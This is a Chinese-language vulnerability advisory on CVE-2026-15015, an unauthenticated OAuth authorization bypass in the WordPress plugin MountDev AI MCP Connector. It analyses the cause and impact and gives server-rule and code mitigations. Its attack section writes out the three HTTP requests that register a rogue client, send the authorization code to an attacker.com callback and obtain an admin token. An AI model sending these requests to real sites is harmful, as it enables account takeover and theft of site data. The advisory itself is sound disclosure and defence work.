🔴 【深度分析】严重安全漏洞:CVE-2026-15015

CVSS 评分: 严重(9.8)🔴  状态: Deferred  发布时间: 2026-07-23


🔍 技术细节速览

字段
CVE ID CVE-2026-15015
CVSS 评分 9.8 🔴
严重程度 严重
CVSS 向量 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWE 分类 CWE-862
发布时间 2026-07-23
最后更新 2026-07-23
状态 Deferred
数据来源 security@wordfence.com

CVSS 评分:9.8(严重)
CVSS 向量: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWE: CWE-862(授权缺失)
影响范围: 所有版本 ≤ 1.6.1
利用难度: 极低 – 无需认证、无需用户交互、网络远程可触达


漏洞概述

CVE-2026-15015 是一个针对 WordPress 插件 MountDev AI MCP Connector 的严重授权绕过漏洞。该插件提供 AI 模型调用接口(MCP 工具面),其 OAuth 流程存在设计缺陷:动态客户端注册端点授权端点 均未实施身份验证与授权检查。攻击者可通过以下步骤完全接管管理员权限:

  1. 匿名访问 /oauth/register 等动态客户端注册接口,注册一个由攻击者控制的 OAuth 客户端(指定任意 redirect_uri)。
  2. 利用已注册的客户端 ID 和未受保护的授权端点(例如 /oauth/authorize),以管理员身份直接完成 OAuth 授权码流程(无需管理员交互)。
  3. 获取管理员绑定的 OAuth 访问令牌(Bearer Token),从而获得对插件 MCP 工具面、所有 WordPress 内容、用户及选项的完全控制。

该漏洞 CVSS 评分高达 9.8(Critical),攻击复杂度低(AC:L),无需权限(PR:N)和用户交互(UI:N),且影响机密性、完整性和可用性(C:H/I:H/A:H)。


受影响组件与版本

  • 软件: MountDev AI MCP Connector for WordPress
  • 影响版本: 所有版本 ≤ 1.6.1(包括 1.6.1)
  • 修复版本: 截至漏洞公开日(2026-07-23),官方尚未发布补丁(NVD 状态标记为 Deferred),预计需升级至 1.6.2 或更高版本。

漏洞原理分析

1. 技术背景

该插件将 OpenAI/Anthropic 等 AI 模型的 MCP(Model Context Protocol)接口映射为 WordPress REST API。为了安全访问这些接口,插件实现了 OAuth 2.0 授权码流程,预期仅允许管理员登录后生成令牌。然而其实现存在以下缺陷:

  • 动态客户端注册端点(/oauth/register):OAuth 2.0 规范(RFC 7591)要求客户端注册通常需要管理员权限或至少通过认证。但该插件允许未经任何身份验证的匿名用户提交 POST 请求,注册任意 OAuth 客户端,包括自定义的 client_idclient_secret 以及攻击者控制的 redirect_uri
  • 授权端点(/oauth/authorize):正常流程中,用户需登录 WordPress 并确认授权。但该插件完全跳过用户身份验证,直接接受客户端 ID 和 redirect_uri 参数,生成授权码。攻击者可通过自己注册的客户端 ID 调用该端点,获取授权码。

2. 攻击向量

攻击步骤如下:

  1. 注册恶意客户端

    POST /wp-json/mountdev/v1/oauth/register HTTP/1.1
    Content-Type: application/json
    
    {
      "client_name": "evil-client",
      "redirect_uris": ["https://attacker.com/callback"],
      "client_id": "attacker-id",
      "client_secret": "attacker-secret"
    }
    
  2. 发起授权请求
    使用上一步获取的 client_id 和攻击者控制的 redirect_uri 调用授权端点(无需任何 cookie 或令牌):

    GET /wp-json/mountdev/v1/oauth/authorize?response_type=code&client_id=attacker-id&redirect_uri=https://attacker.com/callback&scope=admin HTTP/1.1
    

    服务器直接返回授权码 code=abc123(或 302 重定向至 redirect_uri?code=abc123)。

  3. 换取访问令牌
    攻击者使用授权码向令牌端点发起请求(同样无需身份验证):

    POST /wp-json/mountdev/v1/oauth/token HTTP/1.1
    Content-Type: application/x-www-form-urlencoded
    
    grant_type=authorization_code&code=abc123&client_id=attacker-id&redirect_uri=https://attacker.com/callback
    

    返回 access_token(Bearer Token),该令牌具有管理员权限。

3. 成因总结

授权缺失(CWE-862) 是根本原因:两个关键端点均未校验调用者是否已登录且具有相应角色。OAuth 流程的“管理员交互”环节被完全移除。


影响评估

攻击条件

  • 攻击复杂度: 低 —— 无需特殊工具,仅需向 WordPress 站点发送 HTTP 请求。
  • 所需权限: 无 —— 未认证攻击者即可执行。
  • 用户交互: 不需要 —— 全程无需管理员点击或确认。
  • 网络条件: 目标 WordPress 站点需公开可访问(默认配置即可)。

潜在后果

  • 数据泄露: 读取所有文章、页面、用户个人信息、秘密设置(如数据库密码、API 密钥)。
  • 系统控制: 创建/删除管理员账户、修改任意文件(通过 MCP 工具执行代码或文件操作)、安装恶意插件/主题。
  • 持续后门: 利用令牌长期维持访问,即使管理员更改密码也无法吊销已发放的令牌(除非手动清除 OAuth 存储)。
  • 勒索/破坏: 删除站点内容、篡改首页、植入黑链。

实际威胁评级:**极高**

由于利用条件极低且影响完全控制,该漏洞属于 WordPress 生态系统中的“零点击接管”类漏洞。


修复建议

官方修复(推荐)

  • 升级至 1.6.2 或更高版本 —— 一旦发布,应立即更新。
  • 若长时间无补丁,建议禁用该插件直至修复完成。

临时缓解措施(等不及补丁时)

  1. 禁用动态客户端注册
    在插件配置中关闭“允许客户端注册”选项(如果存在)。若无配置选项,可考虑在 Web 服务器(Nginx/Apache)层面拦截对 /wp-json/mountdev/v1/oauth/register 的 POST 请求。

  2. 限制授权端点访问
    通过 .htaccess 或 Web 防火墙(如 Wordfence)添加规则,仅允许已登录用户访问 /wp-json/mountdev/v1/oauth/authorize
    示例(Nginx):

    location /wp-json/mountdev/v1/oauth/authorize {
        if ($http_cookie !~* "wordpress_logged_in") {
            return 403;
        }
    }
    

    注意:此方法需确保管理员 cookie 名正确,且可能被绕过(如 XSS)。

  3. 使用防火墙规则阻止未认证的令牌交换
    /wp-json/mountdev/v1/oauth/token 添加相同限制,或仅允许来自已知合法客户端的请求。

  4. 监控异常 OAuth 活动
    审计日志中如出现大量 client_id 注册请求或非预期的授权码兑换,应立即手动撤销所有 OAuth 令牌(可删除数据库 wp_usermetamountdev_oauth_token 相关记录)。

永久修复方案(开发人员参考)

  • register 端点添加 current_user_can('manage_options') 检测。
  • authorize 端点要求用户已登录并确认授权(使用 WordPress nonce 和用户会话)。
  • 令牌颁发时绑定用户身份,而非仅依赖 client_id

参考资料


免责声明: 本文基于公开的 NVD 数据和漏洞情报编写,旨在帮助安全人员理解风险并采取缓解措施。未经授权的攻击性利用可能违反法律,请负责任地披露和处理。